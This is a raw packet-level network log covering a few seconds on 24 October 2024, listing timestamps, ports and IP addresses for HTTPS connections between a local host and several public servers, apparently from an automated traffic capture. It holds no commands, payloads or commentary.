Oct 24, 2024 00:27:02.687009096 CEST	49677	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:02.774600029 CEST	443	49759	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:02.774631977 CEST	443	49759	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:02.774648905 CEST	443	49759	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:02.774687052 CEST	49759	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:02.774750948 CEST	49759	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:02.774761915 CEST	443	49759	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:02.774856091 CEST	49759	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:02.775906086 CEST	49759	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:02.775934935 CEST	443	49759	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:02.777774096 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:02.777806997 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:02.777890921 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:02.778115988 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:02.778127909 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:02.906858921 CEST	443	49725	104.17.24.14	192.168.2.16
Oct 24, 2024 00:27:02.906970978 CEST	443	49725	104.17.24.14	192.168.2.16
Oct 24, 2024 00:27:02.907051086 CEST	49725	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:27:02.909564018 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:02.910202026 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:02.910226107 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:02.911566019 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:02.911575079 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:02.911597967 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:02.911609888 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:03.208494902 CEST	443	49760	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:03.208564997 CEST	49760	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:03.211762905 CEST	49760	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:03.211786032 CEST	443	49760	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:03.211960077 CEST	49760	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:03.211967945 CEST	443	49760	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:03.212096930 CEST	443	49760	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:03.212162971 CEST	49760	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:03.286719084 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:03.286747932 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:03.286796093 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:03.286834955 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:03.286851883 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:03.286885023 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:03.287403107 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:03.287420988 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:03.287431955 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:03.287590981 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:03.287631989 CEST	443	49756	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:03.287681103 CEST	49756	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:03.334180117 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:03.334217072 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:03.334507942 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:03.334507942 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:03.334539890 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:03.336431980 CEST	443	49760	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:03.336651087 CEST	49760	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:03.336662054 CEST	443	49760	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:03.336675882 CEST	443	49760	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:03.336729050 CEST	49760	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:03.337413073 CEST	49760	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:03.337431908 CEST	443	49760	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:03.339992046 CEST	49763	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:03.340023041 CEST	443	49763	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:03.340221882 CEST	49763	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:03.340358973 CEST	49763	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:03.340373039 CEST	443	49763	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:03.414644957 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.414722919 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.415218115 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.415229082 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.415467978 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.415472031 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.703279972 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.703330994 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.703356028 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.703358889 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.703383923 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.703393936 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.703442097 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.704857111 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.704910040 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.704920053 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.704953909 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.820044041 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.820075989 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.820143938 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.820169926 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.820193052 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.820219040 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.820816994 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.820883989 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.820888996 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.820925951 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.822746992 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.822774887 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.822828054 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.822833061 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.822900057 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.824379921 CEST	443	49734	104.17.24.14	192.168.2.16
Oct 24, 2024 00:27:03.824418068 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.824470043 CEST	443	49734	104.17.24.14	192.168.2.16
Oct 24, 2024 00:27:03.825409889 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.825436115 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.825517893 CEST	49734	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:27:03.825536013 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.825536013 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.825541973 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.826107025 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.836499929 CEST	443	49735	104.17.24.14	192.168.2.16
Oct 24, 2024 00:27:03.836570024 CEST	443	49735	104.17.24.14	192.168.2.16
Oct 24, 2024 00:27:03.836623907 CEST	49735	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:27:03.866132021 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.866163969 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.866282940 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.866291046 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.866328001 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.937987089 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.938085079 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.938095093 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.938138008 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.940145969 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.940177917 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.940220118 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.940237999 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.940257072 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.940273046 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.940884113 CEST	49683	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:03.941071033 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.941140890 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.941154957 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.941222906 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.942719936 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.942739964 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.942794085 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.942838907 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.942845106 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.942883015 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.943645954 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.943710089 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.943715096 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.943753004 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.945457935 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.945480108 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.945538998 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.945545912 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.945594072 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.946343899 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.946419001 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.946423054 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.946471930 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.947259903 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.947276115 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.947333097 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.947338104 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.947393894 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.983489037 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.983573914 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:03.983587027 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:03.983628035 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.054683924 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.054725885 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.054770947 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.054796934 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.054816961 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.054837942 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.055222988 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.055286884 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.055293083 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.055381060 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.057248116 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.057271004 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.057336092 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.057346106 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.057383060 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.058135033 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.058197975 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.058204889 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.058240891 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.059864998 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.059894085 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.059942961 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.059964895 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.059978962 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.060060978 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.060647964 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.060722113 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.060735941 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.060779095 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.061965942 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.061989069 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.062030077 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.062047005 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.062066078 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.062081099 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.062932968 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.062995911 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.063005924 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.063043118 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.064691067 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.064714909 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.064754963 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.064754963 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.064769030 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.064781904 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.064838886 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.064847946 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.064891100 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.066411972 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.066432953 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.066476107 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.066485882 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.066510916 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.066533089 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.067375898 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.067444086 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.067451000 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.067529917 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.068276882 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.068300009 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.068361998 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.068370104 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.068411112 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.069108009 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.069173098 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.069183111 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.069224119 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.070063114 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.070086002 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.070141077 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.070146084 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.070199966 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.071223021 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.071290016 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.071294069 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.071389914 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.077207088 CEST	443	49763	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:04.077291012 CEST	49763	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:04.077703953 CEST	49763	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:04.077712059 CEST	443	49763	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:04.077950954 CEST	49763	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:04.077955961 CEST	443	49763	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:04.171633959 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.171669960 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.171721935 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.171745062 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.171843052 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.171844006 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.172741890 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.172807932 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.172818899 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.172873020 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.173585892 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.173613071 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.173650026 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.173655987 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.173687935 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.173702002 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.174266100 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.174333096 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.174336910 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.174381018 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.174395084 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.174422026 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.174468040 CEST	49761	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.174483061 CEST	443	49761	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.176608086 CEST	49764	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.176652908 CEST	443	49764	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.176867962 CEST	49764	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.176958084 CEST	49764	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.176970005 CEST	443	49764	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.208688021 CEST	443	49763	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:04.208755016 CEST	443	49763	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:04.208808899 CEST	49763	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:04.208858967 CEST	49763	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:04.209466934 CEST	49763	443	192.168.2.16	150.171.84.254
Oct 24, 2024 00:27:04.209486008 CEST	443	49763	150.171.84.254	192.168.2.16
Oct 24, 2024 00:27:04.240015030 CEST	49765	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:04.240072966 CEST	443	49765	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:04.240180016 CEST	49765	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:04.240492105 CEST	49765	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:04.240510941 CEST	443	49765	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:04.434581995 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.435096979 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:04.435125113 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.435812950 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:04.435817957 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.435920000 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:04.435933113 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.543912888 CEST	49681	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:04.657625914 CEST	49734	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:27:04.657653093 CEST	443	49734	104.17.24.14	192.168.2.16
Oct 24, 2024 00:27:04.657658100 CEST	49725	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:27:04.657660961 CEST	49735	443	192.168.2.16	104.17.24.14
Oct 24, 2024 00:27:04.657674074 CEST	443	49735	104.17.24.14	192.168.2.16
Oct 24, 2024 00:27:04.657685995 CEST	443	49725	104.17.24.14	192.168.2.16
Oct 24, 2024 00:27:04.777650118 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.777681112 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.777719975 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.777774096 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:04.777801991 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.777815104 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:04.778228998 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:04.778243065 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.778253078 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:04.778383970 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.778414011 CEST	443	49762	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:04.778482914 CEST	49762	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:04.822365046 CEST	443	49764	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:04.822477102 CEST	49764	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:04.976811886 CEST	443	49765	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:04.976907969 CEST	49765	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:05.001626968 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:05.001638889 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:05.001877069 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:05.002113104 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:05.002123117 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.081844091 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.082432032 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:06.082473040 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.083172083 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:06.083184958 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.083242893 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:06.083250046 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.842807055 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.842840910 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.842936993 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:06.842968941 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.843024015 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:06.843456984 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:06.843466043 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.843486071 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:06.843652010 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.843683004 CEST	443	49766	20.190.159.23	192.168.2.16
Oct 24, 2024 00:27:06.843720913 CEST	49766	443	192.168.2.16	20.190.159.23
Oct 24, 2024 00:27:07.499897957 CEST	49674	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:07.499924898 CEST	49675	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:07.499980927 CEST	49677	443	192.168.2.16	204.79.197.200
